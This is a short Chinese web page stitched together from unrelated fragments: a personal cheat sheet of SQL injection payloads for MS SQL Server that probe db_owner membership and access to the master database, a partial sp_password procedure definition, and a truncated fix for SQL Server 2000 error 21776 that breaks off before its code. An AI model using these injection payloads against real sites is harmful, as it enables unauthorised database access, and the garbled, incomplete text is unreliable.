常用的一些命令: 我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢! //看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限 and 1= (Select HAS_DBACCESS('master')) And char(124)
create procedure sp_password @old sysname = NULL, -- the old (current) password @new sysname, -- the new password @loginame sysname = NULL -- user to change password on as
SQL2000的SA密码不能更改的解决方法,在更改sa的密码出现下面的错误:
代码如下:Error 21776: [SQL-DMO] The name ‘dbo’ was not found in the Users collection. If the name is a qualified name, use [] to separate various parts of the name, and try again.
解决方法:用SQl带的查询管理器连接到sql上,执行:
代码如下: